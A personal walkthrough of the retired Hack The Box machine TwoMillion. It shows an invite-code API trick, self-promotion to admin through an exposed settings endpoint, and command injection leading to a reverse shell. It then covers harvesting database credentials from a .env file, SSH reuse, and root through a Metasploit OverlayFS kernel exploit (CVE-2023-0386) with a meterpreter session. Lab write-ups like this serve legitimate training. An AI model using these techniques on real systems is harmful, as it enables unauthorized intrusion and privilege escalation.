Init

Because this is still one of my initial boxes, I am going to do this in guided mode (It’s available for retired machines). Starting with nmap:

# Nmap 7.94SVN scan initiated Thu Aug 28 17:03:04 2025 as: nmap -sC -sV -oA nmap/twomillion 10.10.11.221
Nmap scan report for 10.10.11.221
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 28 17:03:15 2025 -- 1 IP address (1 host up) scanned in 11.83 seconds

So, we have 2 TCP ports open. As seen, we have 2million.htb on port 80, so I put this in /etc/hosts and open the site in browser. This is the classic HTB site. Back then we had to find an invite code to join the HTB. I remember I prolly got the code from somewhere else during my college days. But let’s do this properly this time!

Upon clicking “Join HTB”, we are taken to the page /invite:

The /invite page loads script from inviteapi.min.js. We can beautify the javascript and get to know the function:

function verifyInviteCode(code) {
    var formData = {
        "code": code
    };
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function(response) {
            console.log(response)
        },
        error: function(response) {
            console.log(response)
        }
    })
}
 
function makeInviteCode() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function(response) {
            console.log(response)
        },
        error: function(response) {
            console.log(response)
        }
    })
}

So, we have a makeInviteCode function that can be helpful! It sends a POST request. Let’s send this POST request via curl from terminal.

(venv) ┌─[htb_lab_truelyyours]─[10.10.16.82]─[truelyyours@parrot]─[~/htb]
└──╼ [★]$ curl -sq -X POST 2million.htb/api/v1/invite/how/to/generate | jq .
{
  "0": 200,
  "success": 1,
  "data": {
    "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
    "enctype": "ROT13"
  },
  "hint": "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."
}

So we are given a ROT 13 encrypted data. This is decrypted to:

In order to generate the invite code, make a POST request to /api/v1/invite/generate

Welp, let’s send another POST request via curl:

{
  "0": 200,
  "success": 1,
  "data": {
    "code": "VDdRMUctUDVHQUYtQURHR0wtR08xVjM=",
    "format": "encoded"
  }
}

This base 64 can be decoded to our invite code and voila! We have our HTB account!

┌─[htb_lab_truelyyours]─[10.10.16.82]─[truelyyours@parrot]─[~/htb/twomillion]
└──╼ [★]$ curl -sq -X POST 2million.htb/api/v1/invite/generate | jq .data.code -r |base64 -d; echo
1AJW5-GU5EJ-T3Z5O-ZN96C

We login on the lading page:

The next Task (6) asks us to find endpoints. So, I send this to BurpSuite and explore endpoints! On the /home page (Dashboard) there many option on the right. So, I explore those and the only new links are /rules, /changelog and /home/access. From the “Access” part, we can download VPN files. So, I intercept this request via BurpSuite and download a VPN file.

When checking different API endpoints, /api/v1 gives us the list of all the APIs present. (Note that you dont have to do this manually. You can use any of the other tools to traverse different API paths!)

{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

We have 3 “admin” APIs available too! /api/v1/admin/auth: simply tells us whether we are admin or not. /api/v1/admin/vpn/generate: gives us 401 Unauthorized. So, that can’t be used. /api/v1/admin/setting/update: here it tells us to send content as JSON (it’s a put request) and asks us for email and is_admin parameters. So, I go ahead and share it!

Well! Now we are admin! Let’s try to login again and checkout the portal. Nothing changes. So, checking the other two API endpoints for admin, when hitting the /generate, it asks for a username. As it turns out we can pass anything! So, thing indicated there may be a Command Injection vulnerability here! But it just execute the command, does not show us the output! So, maybe let’s simply try to get a reverse shell? Yes we can!

┌─[htb_lab_truelyyours]─[10.10.16.82]─[truelyyours@parrot]─[~/htb/twomillion]
└──╼ [★]$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 10.10.11.221 50396
bash: cannot set terminal process group (1194): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$ 

www-data@2million:~/html$ whoami
www-data

User Flag

Let’s quickly prettify it!

www-data@2million:~/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@2million:~/html$ ls
ls
Database.php  VPN     controllers  fonts   index.php  views
Router.php    assets  css	   images  js
www-data@2million:~/html$ ^Z

On our terminal: stty raw -echo;fg and then export TERM=xterm and bob is your uncle!

Next, I try to search for any password so I do grep (cause that is what I know!)

www-data@2million:~/html$ grep -i --color "password" ./*
grep: ./VPN: Is a directory
grep: ./assets: Is a directory
grep: ./controllers: Is a directory
grep: ./css: Is a directory
grep: ./fonts: Is a directory
grep: ./images: Is a directory
./index.php:$dbPass = $envVariables['DB_PASSWORD'];
grep: ./js: Is a directory
grep: ./views: Is a directory

Looks likes password is being fetched from environment variables (Hence task 9! I guess.).

www-data@2million:~/html$ cat .env 
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

Well, as we have ssh port open, let’s try to login via SSH!

┌─[htb_lab_truelyyours]─[10.10.16.82]─[truelyyours@parrot]─[~/htb/twomillion]
└──╼ [★]$ ssh admin@2million.htb
The authenticity of host '2million.htb (10.10.11.221)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '2million.htb' (ED25519) to the list of known hosts.
admin@2million.htb's password: 
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64)
.
.
.
admin@2million:~$ whoami
admin
admin@2million:~$ ls
user.txt

Well, we can login as admin and we have the user flag! 🎉🎉

Root Flag

When we login into via ssh, we do get a notification that we have a mail. So, let’s check that:

admin@2million:~$ cat /var/mail/admin 
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

So, we probably have to exploit this “OverlayFS”. I recently learned using metasploit, so I head over to it (msgconsole) and search for “OverlayFS”:

[msf](Jobs:0 Agents:0) >> search OverlayFS

Matching Modules
================

   #  Name                                                  Disclosure Date  Rank       Check  Description
   -  ----                                                  ---------------  ----       -----  -----------
   0  exploit/linux/local/cve_2021_3493_overlayfs           2021-04-12       great      Yes    2021 Ubuntu Overlayfs LPE
   1    \_ target: x86_64                                   .                .          .      .
   2    \_ target: aarch64                                  .                .          .      .
   3  exploit/linux/local/gameoverlay_privesc               2023-07-26       normal     Yes    GameOver(lay) Privilege Escalation and Container Escape
   4    \_ target: Linux_Binary                             .                .          .      .
   5    \_ target: Linux_Command                            .                .          .      .
   6  exploit/linux/local/cve_2023_0386_overlayfs_priv_esc  2023-03-22       excellent  Yes    Local Privilege Escalation via CVE-2023-0386
   7  exploit/linux/local/overlayfs_priv_esc                2015-06-16       good       Yes    Overlayfs Privilege Escalation
   8    \_ target: CVE-2015-1328                            .                .          .      .
   9    \_ target: CVE-2015-8660                            .                .          .      .

Among these, there are three interesting CVEs among which 2 are very recent one (given the machine was released in 2023). The 0 - CVE-2021-3493 works on 2021 Ubuntu. Taking a quick look at remote system, we see it is running 2022 Ubuntu. So, this will not work. However, the other one, CVE2023-0386, can work as this was found in 2023 and our system is of 2022! However, this exploit requires a “SESSION” withing msfconsole. So, Let’s first do that.

[msf](Jobs:0 Agents:0) >> use auxiliary/scanner/ssh/ssh_login
[msf](Jobs:0 Agents:0) auxiliary(scanner/ssh/ssh_login) >> set rhosts 10.10.11.221
rhosts => 10.10.11.221
[msf](Jobs:0 Agents:0) auxiliary(scanner/ssh/ssh_login) >> set username admin
username => admin
[msf](Jobs:0 Agents:0) auxiliary(scanner/ssh/ssh_login) >> set password SuperDuperPass123
password => SuperDuperPass123
[msf](Jobs:0 Agents:0) auxiliary(scanner/ssh/ssh_login) >> run
[*] 10.10.11.221:22 - Starting bruteforce
[+] 10.10.11.221:22 - Success: 'admin:SuperDuperPass123' 'uid=1000(admin) gid=1000(admin) groups=1000(admin) Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux '
[*] SSH session 1 opened (10.10.16.82:45015 -> 10.10.11.221:22) at 2025-08-28 19:59:21 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
[msf](Jobs:0 Agents:1) auxiliary(scanner/ssh/ssh_login) >> sessions

Active sessions
===============

  Id  Name  Type         Information        Connection
  --  ----  ----         -----------        ----------
  1         shell linux  SSH truelyyours @  10.10.16.82:45015 -> 10.10.11.221:22 (10.10.11.221)

Once we have this session, we have go ahead and use the OverlayFS exploit.

[msf](Jobs:0 Agents:1) auxiliary(scanner/ssh/ssh_login) >> use 6
[*] Using configured payload linux/x64/meterpreter_reverse_tcp
msf](Jobs:0 Agents:1) exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) >> set session 1
session => 1
[msf](Jobs:0 Agents:1) exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) >> set lhost 10.10.16.82
lhost => 10.10.16.82
[msf](Jobs:0 Agents:1) exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) >> run
[*] Started reverse TCP handler on 10.10.16.82:4444 
[!] SESSION may not be compatible with this module:
[!]  * Unknown session arch
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Linux kernel version found: 5.15.70
[*] Writing '/tmp/.wF2Y3LNjne/.b6DlFC4UO2' (1121480 bytes) ...
[*] Launching exploit...
[+] Deleted /tmp/.wF2Y3LNjne
[*] Meterpreter session 2 opened (10.10.16.82:4444 -> 10.10.11.221:35766) at 2025-08-28 20:32:32 -0400

[msf](Jobs:0 Agents:2) exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) >> sessions -i 2
[*] Starting interaction with 2...

(Meterpreter 2)(/home/admin) > cd /
(Meterpreter 2)(/) > cd root
(Meterpreter 2)(/root) > ls
Listing: /root
==============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
020666/rw-rw-rw-  0     cha   2025-08-28 06:01:44 -0400  .bash_history
100644/rw-r--r--  3106  fil   2021-10-15 06:06:05 -0400  .bashrc
040700/rwx------  4096  dir   2023-06-06 06:22:34 -0400  .cache
040755/rwxr-xr-x  4096  dir   2023-06-06 06:22:33 -0400  .cleanup
040700/rwx------  4096  dir   2023-06-06 06:22:34 -0400  .gnupg
040755/rwxr-xr-x  4096  dir   2023-06-06 06:22:34 -0400  .local
020666/rw-rw-rw-  0     cha   2025-08-28 06:01:44 -0400  .mysql_history
100644/rw-r--r--  161   fil   2019-07-09 06:05:50 -0400  .profile
040700/rwx------  4096  dir   2023-06-06 06:22:34 -0400  .ssh
100640/rw-r-----  33    fil   2025-08-28 06:09:59 -0400  root.txt
040700/rwx------  4096  dir   2023-06-06 06:22:34 -0400  snap
100644/rw-r--r--  3767  fil   2023-06-06 08:43:35 -0400  thank_you.json

(Meterpreter 2)(/root) > cat root.txt
29fb39bbb54d4c2ee6912f44d184b01d

And cheers 🥂, we have the root access and hence, the root flag! Of course, you can also find a proof of concept exploit and manually run it and get a root shell! As an exercise, feel free to look up how and why this exploit works! Here is a link to an in-depth explanation: CVE-2023-0386

Good work, now treat yourself to a full bottle of that pure sweet god’s nectar!! 💧💧🎉😎

Alternate Priv Esc

The Guided mode suggests for this exploit so let’s check it out. The installed version of GLIBC is 2.35. As the task asks us for CVE, we simply search in msfconsole and see that we have CVE-2023-4911. So, we can simply use this and execute the exploit to get remote root shell! I would leave this as an exercise to let you get acquainted with metasploit.